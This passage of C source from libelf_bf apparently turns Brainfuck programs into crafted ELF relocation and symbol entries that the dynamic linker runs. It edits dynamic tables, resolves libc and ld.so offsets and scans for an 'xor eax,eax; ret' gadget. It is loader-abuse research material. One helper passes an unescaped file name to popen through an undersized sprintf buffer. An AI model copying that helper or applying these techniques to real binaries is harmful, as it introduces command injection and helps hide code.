(elfsh_get_section_size(sec->shdr)/sizeof(Elf64_Rela)), env->ee_lm.lm_sym); 419 | copy_dynrel(env); 420 | env->ee_lm.lm_allocated = 1; 421 | } 422 | 423 | void elfutils_save_elf_file(elfshobj_t *o, char *file) 424 | { 425 | 426 | int ret = elfsh_save_obj(o, file); 427 | if (ret < 0){ 428 | elfsh_error(); 429 | } 430 | } 431 | 432 | void elfutils_save_lm(elf_bf_link_map_t *l) 433 | { 434 | //write, read, and write to fix headers 435 | elfutils_save_elf_file(l->lm_f,l->lm_out_name); 436 | 437 | } 438 | 439 | void elfutils_save_env(elf_bf_env_t *env) 440 | { 441 | 442 | //profiler_enable_err(); 443 | //profiler_install(printf,printf); 444 | 445 | elfutils_save_lm(&(env->e_exec.ee_lm)); 446 | } 447 | 448 | //just cont number of symbols if lm_allocated is false 449 | void init_tape_syms(elf_bf_exec_t *env) 450 | { 451 | 452 | elf_bf_Sym *sym, *psym, *ifunc, *execmap, *ptrtapecpy, *stackaddr, *getchar, *putchar, *ldbase, *libcbase, *execmapvalue, *putcharextra; 453 | elf_bf_Sym top; 454 | if (env->ee_lm.lm_allocated){ 455 | psym = calloc(1, sizeof(elf_bf_Sym)); 456 | sym = calloc(1, sizeof(elf_bf_Sym)); 457 | ptrtapecpy = calloc(1, sizeof(elf_bf_Sym)); 458 | ifunc = calloc(1, sizeof(elf_bf_Sym)); 459 | execmap = calloc(1, sizeof(elf_bf_Sym)); 460 | stackaddr = calloc(1, sizeof(elf_bf_Sym)); 461 | ldbase = calloc(1, sizeof(elf_bf_Sym)); 462 | libcbase = calloc(1, sizeof(elf_bf_Sym)); 463 | getchar = calloc(1, sizeof(elf_bf_Sym)); 464 | putchar = calloc(1, sizeof(elf_bf_Sym)); 465 | putcharextra = calloc(1, sizeof(elf_bf_Sym)); 466 | execmapvalue = calloc(1, sizeof(elf_bf_Sym)); 467 | } 468 | eresi_Addr index = env->ee_num_used_syms; 469 | //index++; 470 | //printf("index: %d\n", index); 471 | //symtab_get_sym(&(env->ee_lm), index++, nsym); 472 | symtab_get_sym(&(env->ee_lm), index++, psym); 473 | symtab_get_sym(&(env->ee_lm), index++, sym); 474 | symtab_get_sym(&(env->ee_lm), index++, ifunc); 475 | symtab_get_sym(&(env->ee_lm), index++, ptrtapecpy); 476 | symtab_get_sym(&(env->ee_lm), index++, execmap); 477 | symtab_get_sym(&(env->ee_lm), index++, stackaddr); 478 | symtab_get_sym(&(env->ee_lm), index++, ldbase); 479 | symtab_get_sym(&(env->ee_lm), index++, libcbase); 480 | symtab_get_sym(&(env->ee_lm), index++, getchar); 481 | symtab_get_sym(&(env->ee_lm), index++, putchar); 482 | symtab_get_sym(&(env->ee_lm), index++, putcharextra); 483 | symtab_get_sym(&(env->ee_lm), index, execmapvalue); 484 | 485 | 486 | 487 | if (env->ee_lm.lm_allocated){ 488 | env->ee_num_used_syms = index; 489 | 490 | symtab_get_sym(&(env->ee_lm), index+1, &top); 491 | 492 | //keeps the tape head symbol number 493 | 494 | //address of where tape head is pointing's value 495 | symtab_set_sym(psym, 1, top.addr, STT_FUNC); 496 | 497 | //assume tape head value is zero 498 | symtab_set_sym(sym, 1, 0, STT_FUNC); 499 | symtab_set_sym(ifunc, 8, 0, STT_GNU_IFUNC); 500 | //elfsh_set_symbol_link(ifunc->sym, 1); 501 | symtab_set_sym(ptrtapecpy, 1, symtab_get_value_addr(sym), STT_FUNC); 502 | 503 | //start it up with address of PLTGOT 504 | elfsh_Dyn *dyn; 505 | eresi_Addr pltgot; 506 | dyn = elfsh_get_dynamic_entry_by_type(env->ee_lm.lm_f, DT_PLTGOT); 507 | pltgot = elfsh_get_dynentry_val(dyn); 508 | env->ee_dt_pltgot = pltgot+8; 509 | symtab_set_sym(execmap, 8, pltgot+8, STT_FUNC); 510 | 511 | 512 | symtab_set_sym(stackaddr, 8, 0, STT_FUNC); 513 | symtab_set_sym(ldbase, 8, 0, STT_FUNC); 514 | symtab_set_sym(libcbase, 8, 0, STT_FUNC); 515 | symtab_set_sym(getchar, 8, 0, STT_FUNC); 516 | symtab_set_sym(putchar, 8, 0, STT_FUNC); 517 | symtab_set_sym(putcharextra, 0, 0, STT_FUNC); //we jsut want a readable address here 518 | //printf("ptr_tape_ptr %x, tape_ptr %x, copy %x\n", symtab_get_index(psym), symtab_get_index(sym), symtab_get_index(ptrtapecpy)); 519 | symtab_set_sym(execmapvalue, 8, 0, STT_FUNC); 520 | 521 | //env->ee_tape_symnum = psym->index; 522 | env->ee_ptr_tape_ptr = psym; 523 | env->ee_tape_ptr = sym; 524 | env->ee_lm.lm_ifunc = ifunc; 525 | env->ee_ptr_tape_copy = ptrtapecpy; 526 | env->ee_exec_map = execmap; 527 | env->ee_stack_addr = stackaddr; 528 | env->ee_ld_base = ldbase; 529 | env->ee_libc_base = libcbase; 530 | env->ee_lm.lm_getchar = getchar; 531 | env->ee_lm.lm_putchar = putchar; 532 | env->ee_lm.lm_putcharextra = putcharextra; 533 | env->ee_exec_map_value = execmapvalue; 534 | } 535 | env->ee_num_new_syms = index - env->ee_num_used_syms; 536 | } 537 | 538 | 539 | void fixup_dynamic_rela(elfshobj_t *f, eresi_Addr rel, eresi_Addr sz) 540 | { 541 | elfsh_Dyn *dyn; 542 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_RELA); 543 | elfsh_set_dynentry_val(dyn, rel); 544 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_RELASZ); 545 | elfsh_set_dynentry_val(dyn, sz); 546 | 547 | } 548 | 549 | void fixup_dynamic_sym(elfshobj_t *f, eresi_Addr sym, eresi_Addr sz) 550 | { 551 | elfsh_Dyn *dyn; 552 | dyn = elfsh_get_dynamic_entry_by_type(f, DT_SYMTAB); 553 | elfsh_set_dynentry_val(dyn, sym); 554 | //dyn = elfsh_get_dynamic_entry_by_type(f, DT_RELASZ); 555 | //elfsh_set_dynentry_val(dyn, sz); 556 | 557 | } 558 | 559 | eresi_Addr set_next_reloc(elf_bf_link_map_t *l, Elf64_Word type, Elf64_Word sym, Elf64_Addr off, Elf64_Addr val) 560 | { 561 | if(l->lm_allocated) { 562 | elf_bf_Rela r; 563 | reloc_get_reloc_entry(l, l->lm_next_reloc, &r); 564 | reloc_set_rela(&r, type, sym, off, val); 565 | } //otherwise just count 566 | l->lm_next_reloc++; 567 | return l->lm_next_reloc - 1; 568 | } 569 | 570 | eresi_Addr lookup_libc_offset(char *libc, char *function) 571 | { 572 | elfshobj_t *f; 573 | elfsh_Rela *r; 574 | elfsh_Sym *s; 575 | int i; 576 | char *cmpname; 577 | f = elfutils_read_elf_file(libc); 578 | 579 | elfshsect_t *dynsym, *strtab; 580 | dynsym = elfsh_get_section_by_name(f,".dynsym", NULL, NULL, NULL); 581 | 582 | // lookup strtab 583 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(dynsym->shdr), NULL, NULL); 584 | 585 | // get symbol 586 | elfsh_Sym *table; 587 | table = (elfsh_Sym *) dynsym->data; 588 | eresi_Addr numsym = elfsh_get_section_size(dynsym->shdr)/sizeof(elfsh_Sym); 589 | 590 | char *strs = strtab->data; 591 | 592 | for (i = 0; i < numsym; i++) { 593 | //look at each entry 594 | s = &(table[i]); 595 | cmpname = strs + s->st_name; 596 | if(strcmp(function, cmpname) == 0){ 597 | return s->st_value; 598 | } 599 | } 600 | return 0; 601 | } 602 | 603 | eresi_Addr lookup_libc_offset_bf_env(elf_bf_exec_t *ee, char *function) 604 | { 605 | return lookup_libc_offset(ee->ee_libc, function); 606 | } 607 | 608 | int lookup_libc_path(char *executable, char *libc_out, int max) 609 | { 610 | char *command; 611 | char *format = "ldd %s | grep '/libc.so' | awk '{print $3;}'"; 612 | int len, i; 613 | 614 | if ((command = malloc(strlen(format) + strlen(executable))) == NULL) { 615 | return -1; 616 | } 617 | sprintf(command, format, executable); 618 | FILE *f = popen(command, "r"); 619 | len = fread(libc_out, 1, max, f); 620 | for (i = 0; i < len; i++) { 621 | if ('\n' == libc_out[i]) { 622 | libc_out[i] = '\0'; 623 | } 624 | } 625 | if (len < 0) { 626 | return -1; 627 | } 628 | pclose(f); 629 | return len; 630 | } 631 | 632 | 633 | 634 | int lookup_ld_path(char *exec, char *path, int pathlen){ 635 | char *p; 636 | int len; 637 | elfshobj_t *f; 638 | f = elfutils_read_elf_file(exec); 639 | if (NULL == f) { 640 | return -1; 641 | } 642 | p = elfsh_get_interp(f); 643 | if (NULL == p){ 644 | return -1; 645 | } 646 | strncpy(path, p, pathlen); 647 | return strlen(path); 648 | } 649 | 650 | eresi_Addr dl_auxv_offset(char *lib){ 651 | elfshobj_t *f; 652 | f = elfutils_read_elf_file(lib); 653 | if (NULL == f){ 654 | return -1; 655 | } 656 | elfsh_Sym *s; 657 | s = elfsh_get_symbol_by_name(f, "_dl_auxv"); 658 | return s->st_value; 659 | } 660 | 661 | eresi_Addr ret0_offset(char *lib) { 662 | //148dc: 31 c0 xor %eax,%eax 663 | //148de: c3 retq 664 | // look at text segment, search for byte value c3 665 | elfshsect_t *text, *init, *plt; 666 | eresi_Addr offset; 667 | unsigned char *data; 668 | eresi_Addr sz, i; 669 | unsigned char seq[3] = {0x31,0xc0,0xc3}; 670 | elfshobj_t *f; 671 | f = elfutils_read_elf_file(lib); 672 | if (NULL == f){ 673 | return -1; 674 | } 675 | text = elfsh_get_section_by_name(f,".text", NULL, NULL, NULL); 676 | if (NULL == text){ 677 | return -1; 678 | } 679 | 680 | data = (char *) text->data; 681 | sz = elfsh_get_section_size(text->shdr); 682 | for (i = 0; i < (sz-2); i++) { 683 | if ((seq[0] == data[i]) && (seq[1] == data[i+1]) && (seq[2] == data[i+2])) { 684 | return i + text->shdr->sh_addr; 685 | } 686 | } 687 | return 0; 688 | 689 | } 690 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_utils.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #ifndef __ELF_BF_UTILS_H 23 | #define __ELF_BF_UTILS_H 24 | #include "symtab.h" 25 | #include "elf_bf_link_map.h" 26 | 27 | typedef struct { 28 | elf_bf_link_map_t ee_lm; 29 | //eresi_Addr ee_tape_symnum; 30 | elf_bf_Sym *ee_ptr_tape_ptr; //points to current tape value 31 | elf_bf_Sym *ee_ptr_tape_copy; //holds address of where tape head pointer (ee_tape_ptr's value) 32 | elf_bf_Sym *ee_tape_ptr; //tape head pointer, copy of value is the address of the current tape value 33 | elf_bf_Sym *ee_branch_location; //address of instructions that return 0 34 | //elf_bf_Sym *ee_tape_copy; //copy of value tape is pointing to 35 | elf_bf_Sym *ee_exec_map; //eventually holds address of exec's link_map 36 | elf_bf_Sym *ee_ld_base; //eventually holds base address of ld 37 | elf_bf_Sym *ee_libc_base; //eventually holds base address of libc 38 | elf_bf_Sym *ee_stack_addr; //eventaully holds address of known item on stack 39 | //elf_bf_Sym *ee_scratch_space; //scratch space for calculations 40 | elf_bf_Sym *ee_exec_map_value; 41 | unsigned int ee_tape_len; 42 | unsigned int ee_num_used_syms; 43 | unsigned int ee_num_orig_syms; 44 | unsigned int ee_num_new_syms; 45 | unsigned int ee_num_reloc; 46 | eresi_Addr ee_dt_rela; 47 | eresi_Addr ee_dt_relasz; 48 | eresi_Addr ee_dt_relasz_value; 49 | eresi_Addr ee_dt_sym; 50 | //eresi_Addr ee_lib_dt_relasz; 51 | eresi_Addr ee_reloc_end_value; // normal value of end 52 | elfsh_Word ee_rela_orig; 53 | elfsh_Word ee_relasz_orig; 54 | eresi_Addr ee_dt_jmprel; 55 | eresi_Addr ee_dt_jmprel_value; 56 | eresi_Addr ee_dt_pltrelsz; 57 | eresi_Addr ee_dt_pltgot; 58 | eresi_Addr ee_dt_pltrelsz_value; 59 | eresi_Addr ee_ifunc_offset; // offset of ifunc (in ld.so) that returns 0 60 | eresi_Addr ee_dl_auxv; // offset of _dl_auxv (in ld.so's data) 61 | eresi_Addr ee_end_offset; // offset of &end on stack from where auxv lives on stack (value of _dl_auxv) 62 | //elfsh_Word ee_relacount_orig; 63 | elfsh_Word ee_sym_orig; 64 | eresi_Addr ee_dt_gnu_hash; //GNU_HASH entry in dynamic table 65 | int ee_for_debug; // 1 if should be compiled to work in a debugger, 0 OW 66 | char *ee_libc; 67 | char *ee_exec_path; 68 | } elf_bf_exec_t; 69 | 70 | typedef struct { 71 | char *e_bf_source; 72 | char *e_bf_sourcepath; 73 | char *e_bf_libc; 74 | elf_bf_exec_t e_exec; 75 | } elf_bf_env_t; 76 | 77 | 78 | void elfutils_setup_env(char *src, 79 | char *execf_in, 80 | char *execf_out, 81 | char *libc, 82 | int tape_len, 83 | eresi_Addr ifuncoffset, 84 | eresi_Addr dl_auxv, // offset of _dl_auxv (in ld.so's data) 85 | eresi_Addr endoffset, // offset of &end on stack from where auxv lives on stack (value of _dl_auxv) 86 | int debug, 87 | elf_bf_env_t *env); 88 | 89 | void elfutils_save_env (elf_bf_env_t *env); 90 | void compile_bf_instructions(elf_bf_env_t *e); 91 | elfshobj_t *elfutils_read_elf_file(char *file); 92 | void elfutils_save_elf_file(elfshobj_t *o, char *file); 93 | elfshsect_t *insert_reloc_sec(elfshobj_t *f, eresi_Addr numrel, elfshsect_t *newsym); 94 | elfshsect_t *insert_symtab_sec(elfshobj_t *f, eresi_Addr numsym, eresi_Addr strtab); 95 | void fixup_dynamic_rela(elfshobj_t *f, eresi_Addr rel, eresi_Addr sz); 96 | void fixup_dynamic_sym(elfshobj_t *f, eresi_Addr sym, eresi_Addr sz); 97 | eresi_Addr set_next_reloc(elf_bf_link_map_t *l, Elf64_Word type, Elf64_Word sym, Elf64_Addr off, Elf64_Addr val); 98 | eresi_Addr lookup_libc_offset(char *libc, char *function); 99 | eresi_Addr lookup_libc_offset_bf_env(elf_bf_exec_t *ee, char *function); 100 | int lookup_libc_path(char *executable, char *libc_out, int len); 101 | int lookup_ld_path(char *exec, char *path, int pathlen); 102 | eresi_Addr dl_auxv_offset(char *lib); 103 | eresi_Addr ret0_offset(char *lib); 104 | 105 | #endif //ndef __ELF_BF_UTILS_H 106 | -------------------------------------------------------------------------------- /libelf_bf/elf_reloc_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | eresi_Addr get_dynent_addr(elfshobj_t *f, u_int t) 4 | { 5 | // lookup where dynamic table section gets loaded 6 | elfshsect_t *dyn_sec; 7 | dyn_sec = elfsh_get_section_by_name(f, ".dynamic", NULL, NULL, NULL); 8 | Elf64_Dyn *dyntab = dyn_sec->data; 9 | eresi_Addr dynsz = dyn_sec->shdr->sh_size/sizeof(Elf64_Dyn); 10 | eresi_Addr i; 11 | 12 | for (i = 0; (i < dynsz) && (DT_NULL != dyntab[i].d_tag); i++) { 13 | //printf("address of tag %d: %lx\n", dyntab[i].d_tag, dyn_sec->shdr->sh_addr + (i * sizeof(Elf64_Dyn)) + sizeof(dyntab[i].d_tag)); 14 | if (dyntab[i].d_tag == t){ 15 | //printf("address of %d: %lx\n", t, dyn_sec->shdr->sh_addr + (i * sizeof(Elf64_Dyn)) + sizeof(dyntab[i].d_tag)); 16 | return dyn_sec->shdr->sh_addr + (i * sizeof(Elf64_Dyn)) + 8; //return address of this value 17 | } 18 | } 19 | 20 | return NULL; 21 | } 22 | -------------------------------------------------------------------------------- /libelf_bf/elf_reloc_utils.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | #ifndef __ELF_RELOC_UTILS_H 22 | #define __ELF_RELOC_UTILS_H 23 | 24 | eresi_Addr get_dynent_addr(elfshobj_t *f, u_int type); 25 | 26 | #endif // ndef __ELF_RELOC_UTILS_H 27 | -------------------------------------------------------------------------------- /libelf_bf/reloc.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | #include "reloc.h" 24 | 25 | elfshsect_t *reloc_get_reloc_shsect(elfshobj_t *f, char *name) 26 | { 27 | return elfsh_get_section_by_name(f,name, NULL, NULL, NULL); 28 | } 29 | 30 | void reloc_get_reloc_entry(elf_bf_link_map_t *lm, eresi_Addr index, elf_bf_Rela *rel) 31 | { 32 | // they do something like this in their code, but it doesn't actually work 33 | // with rela entries, I get off by (size of addend) errors when I get the 34 | // rela entries this way 35 | //rel->rel = (elfsh_Rela *) elfsh_get_relent_by_index(sec->data, index); 36 | 37 | if (lm->lm_allocated) { 38 | elfshsect_t *sec = lm->lm_reloc; 39 | rel->rel = ((elfsh_Rela *) sec->data) + index; 40 | rel->addr = (eresi_Addr) (((elfsh_Rela *) sec->shdr->sh_addr) + index); 41 | } else { 42 | rel->rel = NULL; 43 | rel->addr = 0; 44 | } 45 | } 46 | 47 | eresi_Addr reloc_get_addr(elf_bf_Rela *r) 48 | { 49 | if (r) { 50 | return r->addr; 51 | } else{ 52 | return 0; 53 | } 54 | } 55 | 56 | //the elfsh_set_rel* functions work on Rels, these are so I can avoid type casting all the time 57 | void reloc_set_relatype(elf_bf_Rela *r, Elf64_Word type) 58 | { 59 | if (r->rel) { 60 | elfsh_set_reltype((elfsh_Rel *) r->rel, type); 61 | } 62 | } 63 | 64 | void reloc_set_relasym(elf_bf_Rela *r, Elf64_Word sym) 65 | { 66 | if (r->rel) { 67 | elfsh_set_relsym((elfsh_Rel *) r->rel, sym); 68 | } 69 | } 70 | 71 | void reloc_set_relaoffset(elf_bf_Rela *r, Elf64_Addr off) 72 | { 73 | if (r->rel) { 74 | elfsh_set_reloffset((elfsh_Rel *) r->rel, off); 75 | } 76 | } 77 | 78 | void reloc_set_reladdend(elf_bf_Rela *r, Elf64_Addr val){ 79 | if (r->rel) { 80 | elfsh_set_reladdend(r->rel,val); 81 | } 82 | } 83 | 84 | 85 | void reloc_set_rela(elf_bf_Rela *r, Elf64_Word type, Elf64_Word sym, Elf64_Addr off, Elf64_Addr val) 86 | { 87 | if (r->rel) { 88 | reloc_set_relatype(r,type); 89 | reloc_set_relasym(r, sym); 90 | reloc_set_relaoffset(r, off); 91 | reloc_set_reladdend(r, val); 92 | } 93 | } 94 | 95 | 96 | eresi_Addr reloc_get_offset_addr(elf_bf_Rela *rel) 97 | { 98 | if (rel && (rel->addr)) { 99 | return (eresi_Addr) &(((Elf64_Rela *)rel->addr)->r_offset); 100 | } else { 101 | return 0; 102 | } 103 | } 104 | 105 | eresi_Addr reloc_get_offset(elf_bf_Rela *rel) 106 | { 107 | if (rel && (rel->rel)) { 108 | return rel->rel->r_offset; 109 | } else { 110 | return 0; 111 | } 112 | } 113 | eresi_Addr reloc_get_addend_addr(elf_bf_Rela *rel) 114 | { 115 | if (rel && (rel->addr)) { 116 | return (eresi_Addr) &(((Elf64_Rela *)rel->addr)->r_addend); 117 | } else { 118 | return 0; 119 | } 120 | } 121 | eresi_Addr reloc_get_symnum_addr(elf_bf_Rela *rel) 122 | { 123 | if (rel && (rel->addr)) { 124 | return (eresi_Addr) &(((Elf64_Rela *)rel->addr)->r_info) + 4; 125 | } else { 126 | return 0; 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /libelf_bf/reloc.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | // functions to make my life easier when reading/writing relocation entries 23 | 24 | #ifndef __RELOC_H 25 | #define __RELOC_H 26 | 27 | #include 28 | #include "symtab.h" 29 | 30 | //typedef struct { 31 | // 32 | //} elf_bf_Rela_def; 33 | 34 | typedef struct { 35 | elfsh_Rela *rel; 36 | eresi_Addr addr; 37 | } elf_bf_Rela; 38 | 39 | 40 | // get relocation section from elfshobj_t by name (elfshobj_t) -> elfshsect_t 41 | elfshsect_t *reloc_get_reloc_shsect(elfshobj_t *f, char *name); 42 | 43 | // get relocation entry (reloaction section, index) -> rel entry 44 | void reloc_get_reloc_entry(elf_bf_link_map_t *lm, eresi_Addr index, elf_bf_Rela *rel); 45 | 46 | //the elfsh_set_rel* functions work on Rels, these are so I can avoid type casting all the time 47 | void reloc_set_relatype(elf_bf_Rela *r, Elf64_Word type); 48 | void reloc_set_relasym(elf_bf_Rela *r, Elf64_Word sym); 49 | void reloc_set_relaoffset(elf_bf_Rela *r, Elf64_Addr off); 50 | void reloc_set_reladdend(elf_bf_Rela *r, Elf64_Addr val); 51 | void reloc_set_rela(elf_bf_Rela *r, Elf64_Word type, Elf64_Word sym, Elf64_Addr off, Elf64_Addr val); 52 | eresi_Addr reloc_get_offset_addr(elf_bf_Rela *rel); 53 | eresi_Addr reloc_get_addend_addr(elf_bf_Rela *rel); 54 | eresi_Addr reloc_get_symnum_addr(elf_bf_Rela *rel); 55 | eresi_Addr reloc_get_addr(elf_bf_Rela *r); 56 | eresi_Addr reloc_get_offset(elf_bf_Rela *rel); 57 | #endif //ifdef __RELOC_H 58 | -------------------------------------------------------------------------------- /libelf_bf/symtab.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | #include "symtab.h" 24 | 25 | elfshsect_t *symtab_get_sym_shsect(elfshobj_t *f, char *name) 26 | { 27 | return elfsh_get_section_by_name(f,name, NULL, NULL, NULL); 28 | } 29 | 30 | 31 | void symtab_get_sym(elf_bf_link_map_t *l, eresi_Addr index, elf_bf_Sym *s) 32 | { 33 | if (l->lm_allocated) { 34 | elfshsect_t *sec = l->lm_sym; 35 | s->sym = ((elfsh_Sym *) sec->data) + index; 36 | s->addr = symtab_get_sym_addr(sec,index); 37 | s->index = index; 38 | } 39 | } 40 | 41 | eresi_Addr symtab_get_sym_addr(elfshsect_t *sec, eresi_Addr index) 42 | { 43 | if (sec) { 44 | return (eresi_Addr) (((elfsh_Sym *) sec->shdr->sh_addr) + index); 45 | }else{ 46 | return 0; 47 | } 48 | } 49 | 50 | void symtab_set_sym(elf_bf_Sym *sym, eresi_Addr size, eresi_Addr value, eresi_Addr type) 51 | { 52 | if (NULL != sym) { 53 | elfsh_set_symbol_size(sym->sym,size); 54 | elfsh_set_symbol_value(sym->sym,value); 55 | elfsh_set_symbol_type(sym->sym,type); 56 | } 57 | } 58 | 59 | 60 | eresi_Addr symtab_get_value_addr(elf_bf_Sym *sym) 61 | { 62 | if (sym && (sym->addr)) { 63 | return (eresi_Addr) &(((Elf64_Sym *)sym->addr)->st_value); 64 | } else { 65 | return 0; 66 | } 67 | } 68 | eresi_Addr symtab_get_index(elf_bf_Sym *sym) 69 | { 70 | if (sym) { 71 | return sym->index; 72 | } else { 73 | return 0; 74 | } 75 | } 76 | eresi_Addr symtab_get_link_addr(elf_bf_Sym *sym) 77 | { 78 | if (sym && (sym->addr)) { 79 | return (eresi_Addr) &(((Elf64_Sym *)sym->addr)->st_shndx); 80 | } else { 81 | return 0; 82 | } 83 | } 84 | 85 | eresi_Addr symtab_get_sym_addr_sym(elf_bf_Sym *sym) 86 | { 87 | if (sym) { 88 | return sym->addr; 89 | } else { 90 | return 0; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /libelf_bf/symtab.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #ifndef __SYMTAB_H 23 | #define __SYMTAB_H 24 | 25 | #include 26 | 27 | 28 | typedef struct { 29 